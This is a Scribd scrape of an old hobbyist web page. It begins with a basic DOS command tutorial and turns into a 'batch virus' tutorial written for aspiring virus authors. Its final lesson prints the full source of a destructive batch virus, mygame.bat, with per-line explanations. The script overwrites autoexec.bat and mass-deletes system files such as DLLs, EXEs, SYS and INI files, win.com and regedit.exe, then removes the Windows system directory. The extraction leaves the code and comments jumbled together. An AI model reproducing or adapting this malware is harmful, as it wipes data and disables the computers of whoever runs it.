P. 1
DOS Commands Tutorial - Very Short List

DOS Commands Tutorial - Very Short List

4.0

|Views: 697|Likes:
Published by ankitguha

More info:

Published by: ankitguha on Jun 27, 2009
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as PDF, TXT or read online from Scribd
See more
See less

09/25/2010

pdf

text

original

DOS and BATCH files

Explaining DOS and Melicious BATCH files

Explained by xXVirusAnonXx

In This Section of the Web Site, you will read what some DOS commands are and how to write Melicious BATCH files.

DOS TUTORIAL
Dos has been around for many many years, and is outdated Today. Windows no longer needs to operate under DOS like it used to, Windows 98 SE was the last DOS operating system that relied on DOS and files in DOS to even start up the computer. DOS stands for Disk Operating System. It is the software that communicates with the hardware of your computer. An operating system is a collection of programs that provides services to other (application) programs so that the applications do not have to include the code to do these operations. Some of these services include how to handle the display, keyboard, printer, floppy and hard disk drives, and memory (RAM). DOS commands you will need to know I am not going to cover all of the DOS commands, just the ones that you will probably find helpful.

COMMAND

DEFINITION

EXAMPLE

CD

This command means "Change Directory" attributes of this command are .. , and \ the two dots will back you up a directory, and the \ will take you to the main root Directory. like C:\>

c:\> (cd windows) will take you in the windows directory, the result will be C: \WINDOWS>

DIR

The DIR command means "Directory", this will show you all files existing C:\>DIR (or) in the directory, you may also follow up the DIR with a /p , this will then pause the directory so that you can go as slow as you want when browsing, C:\>DIR/P if you enter this command, and the /p you will see what im talking about.

EDIT

The edit command is followed by a file name and extention. After this, DOS will then open up MSDOS editor, and you can view files and even edit them. The DEL command is the "Delete" command, this DEL command is followed by whatever file you want it to delete.

C:\>EDIT whatever.whatever

DEL

C:\>DEL whatever.whatever

http://www.geocities.com/xxvirusanonxx/DandB.htm (1 of 10)9/23/2007 9:47:41 AM

DOS and BATCH files

COPY

The copy command is exactly what it says, COPY. this is followed by what C:\>COPY win.ini A:\>win.ini file you want to copy and then where you want it to copy it to, you may be specific if you would like with this command. After you tell it what file you want it to copy, then specify where you want it to copy to, and what you want to name the copy as. The XCOPY command will copy folders, and its possible sub folders and files contained inside of the folder you specify. remember again, be specific. You will then have to specify where you want it to be copied to just like the regular copy command. C:\>XCOPY C:\whatever

XCOPY

MD

C:\>MD C:\windows\whatever This command is the "Make Directory" command, you can create a new directory(folder) by following this command up with the folder you want it to be called. You will want to specify where you want the folder to be created like i have shown in the example box>> This is the "Remove Directory" command, this deletes folders or directories. follow this command up with the folder you want to remove, remember, be specific in where the directory is located. C:\>RD C:\windows\system

RD

CLS

This command is the "Clear Screen" command, if you have been working C:\CLS inside of DOS for along time, you can use this command to give you a new refreshed screen, DOS will look as if you just opened it. This usually in batch files, this basically tells the computer to display what you have written, echo can be used to write fake error messages, drawings, or pretty much anything you want the DOS to display. Echo feature can be turned on and off simply by saying Echo on or Echo off. Also, anything after the echo command is what is displayed on the screen. ECHO Hello!

ECHO

__________________________________________________________________________________________________________ If you really are wanting to know more email me with your questions and i will tell you... __________________________________________________________________________________________________________

BATCH VIRII TUTORIAL
Explained by xXVirusAnonXx

___________________________________________________________
http://www.geocities.com/xxvirusanonxx/DandB.htm (2 of 10)9/23/2007 9:47:41 AM

DOS and BATCH files

Batch files are seemed to be favored more by the Newbies. Perhaps the reason why is it is pretty simple if you know DOS or Command Prompt. Batch files are really out of style today, more people write viruses in Visual Basic and C. The reason is because Visual Basic and C are a more powerful language. Also, Batch files are executed through DOS. Batch viruses would work best in a windows 95,98, and 98 SE working environment. Windows 98 SE was the last Dos operated system. Computers today still can be hurt by batch files, and not only that but if you want to do some Honest batch file making (non-Melicious) you can do that too... WHAT CAN YOU DO WITH A BATCH FILE ? pretty much, you can do anything you really want in a batch file such as: DELETE FILES START PROGRAMS MAKE FOLDERS REMOVE FOLDERS RENAME FILES/FOLDERS COPY FILES/FOLDERS and a few other things, see anything familiar?? Well you should, its DOS, anything you can do in DOS, you can do in a Batch file. lets begin some batch work! LETS BEGIN Batch files should be created using NOTEPAD®. Now, im going to assume you know a little about computers, and DOS, if you dont, then you might be a little Lost, but if you read the DOS commands above, you should be ok. SAVING BATCH FILES Batch files should be written in notepad® like i said above, the reason why is because Notepad allows you to change the format of a file, other programs dont allow you to do that. you would simply save a batch file as whateveryouwant.bat The file has to end with an extention of .bat WHAT IS AN EXTENTION ? An extention is the last 3 letters on a file such as, .exe , .bat , .com , .txt , .doc , .ini , and .sys Of course there are more extentions than that, but those are just some examples. LESSON #1 (delete a file in the main C drive) Lets try to make a batch file which will delete a file. the file can be anything, the main point is to delete it, now, i am going to just make random file names because i dont want you to copy this code and run it , this is a safe way to do it. The code i list in () are just
explanations to help you, you dont put this in your code, simply because DOS cannot execute them.

http://www.geocities.com/xxvirusanonxx/DandB.htm (3 of 10)9/23/2007 9:47:41 AM

DOS and BATCH files

C: del something. something end

(Tells the computer to go to the main drive, The C drive) (This is only an example, there is no file named something.something , you would put the file name and extention) (This, like VB, and QB, tells the computer that the batch file is done, and the program needs to end.)

And there you have it, if you did this correctly, it would delete whatever you told it to. Make sure to Save the file as whateveryouwant.bat

LESSON #2 (going inside a directory to delete a file) Here you will attempt to go inside of a directory (folder) and delete a file. This wil be very similar to the first lesson , except in this lesson you will go inside of the directory to get a file.

C: cd WhateverTheFolderNameIs del something.something end

(Tells the computer to go to the main drive, The C drive) (Tells the computer to go to whatever directory you specify) (This is only an example, there is no file named something. something , you would put the file name and extention) (This, like VB, and QB, tells the computer that the file is done, and the program needs to end.)

LESSON #3 (the same as lesson 2 but shorter way of doing it) This will do the exact same thing as lesson 2, but in a shorter way.

C: Del TheDirectoryName\TheFileName. TheExtention end
LESSON #4 (Echo Demonstration) This lesson will show you how the Echo works.

(Tells the computer to go to the main drive, The C drive) (Instead of manually typing in CD to get to the directory, this will automatically go and delete) (This, like VB, and QB, tells the computer that the file is done, and the program needs to end.)

@Echo Off Echo Hello Echo I am using the Echo Command Echo Im done now

(Tells the computer to display everything you say after the command echo) (computer will display Hello) (computer will display I am using the Echo Command) (computer will display I am done now)

http://www.geocities.com/xxvirusanonxx/DandB.htm (4 of 10)9/23/2007 9:47:41 AM

DOS and BATCH files

LESSON #5 (The final lesson, using all kinds of commands) This lesson i just decided to write a big script for, instead of sectioning off the lessons into certain topics, im just going to write a source that will also explain what it does, like the previous ones did.

**The Following is an actuall virus called mygame.bat, the official was turned into an EXE file and CAN be picked up on virus scanners, Sophos calls this virus "TROJ/MYGAME.A" **WARNING**: If you copy this code, and run it on your system, it is harmful, and most likely will cause serious damage. If you copy it, do it at your own risk. REM - This virus was created by xXVirusAnonXx copy Mygame.bat c:\autoexec.bat if exist c:\Documents and settings goto 2 (anything after rem does not display on screen, but is like a note to the user, REM usually means dont run but you still want it to be in the code) (This will copy mygame.bat into autoexec.bat) (this tells the computer that if the directory of documents and settings exists, then go to option # 2 which is located later on in the text, this is for 2000 and XP users) (This tells the computer that if the file autoexec.bat exists then go to option 1. This is for Win98 and 95 users primarily (cls means clear screen, this will not display the anything above the cls command to ensure that the victim doesnt see what is going on.) (option 1) (this tells the computer to go to the C drive (This tells the computer to go to the windows folder) (This tells the computer to go to the system folder) (this command tells the computer to delete everything with the extention .dll) the * symbol is a "wildcard" it basically means everything (sometimes when a critical file is being deleted, windows will ask the user if they are sure, the y means "yes" so it will automatically say yes for the user Ü (This command will delete everything with the extention. exe anything after the *. will be deleted, you will see on ongoing list of this) (already explained) (already explained) (already explained) (already explained)

if exist c:\autoexec.bat goto 1

cls :1 c: cd windows cd system del *.dll

y

del *.exe y del *.tsp y del *.vxd

http://www.geocities.com/xxvirusanonxx/DandB.htm (5 of 10)9/23/2007 9:47:41 AM

DOS and BATCH files

y del *.drv y del *.3gr y del *.ax y del *.dat y del *.cpl y del *.cnt y del *.cfg y del *.cpx y del *.nls y del *.htm y del *.inf y del *.hlp y del *.kbd y del *.msc y del *.ocx y del *.rat y del *.rsp y cls del *.sys
http://www.geocities.com/xxvirusanonxx/DandB.htm (6 of 10)9/23/2007 9:47:41 AM

(already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained)

DOS and BATCH files

y del *.tlb y del *.tsk y del *.txt y del *.acm y del *.vwp y del *.tsp y del *.vbx y cls del *.ini y del *.mod y del *.scr y del *.wmf y del *.wmf y del *.tlb y del *.lrc y del *.pif y del *.olb y del *.dep y del *.srg
http://www.geocities.com/xxvirusanonxx/DandB.htm (7 of 10)9/23/2007 9:47:41 AM

(already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained)

DOS and BATCH files

y del *.map y del *.pdb y del *.xmi y del *.oca y cls c: cd\ cls cd windows del win.com y del win.ini y cls del *.dll y del *.com y del *.* y cls cd\ cd windows del regedit.exe cls cd\ del autoexec.bat y del mygame.bat cls rd c:\windows\system
http://www.geocities.com/xxvirusanonxx/DandB.htm (8 of 10)9/23/2007 9:47:41 AM

(already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (This computer tells it to go to the windows folder again) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (This command "del *.*" means to delete everything) (already explained) (already explained) (This tells the computer to go to the root of the drive) (already explained) (this will delete the system regestry executable file (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (This command RD stands for Remove Directory, i think you can figure it out)

DOS and BATCH files

y cls end :2 c: cls cd\ del *.bat y cls del *.com y cls del *.ini y cls del *.dll y cls cd\ del mygame.bat cls del autoexec.bat y cls cd dosboot del *.com y del *.bat y del *.sys y del *.txt y rd c:\dosboot y
http://www.geocities.com/xxvirusanonxx/DandB.htm (9 of 10)9/23/2007 9:47:41 AM

(already explained) (already explained) (Ends the program) (option 2) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained) (already explained)

DOS and BATCH files

cls end

(already explained) (already explained)

____________________________________________________________________________________________________________________ There is much more you can do with batch, if you really want to learn more, you may email me. If you can understand DOS you can understand and create BATCH files. Home Page

http://www.geocities.com/xxvirusanonxx/DandB.htm (10 of 10)9/23/2007 9:47:41 AM

You're Reading a Free Preview

Download
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->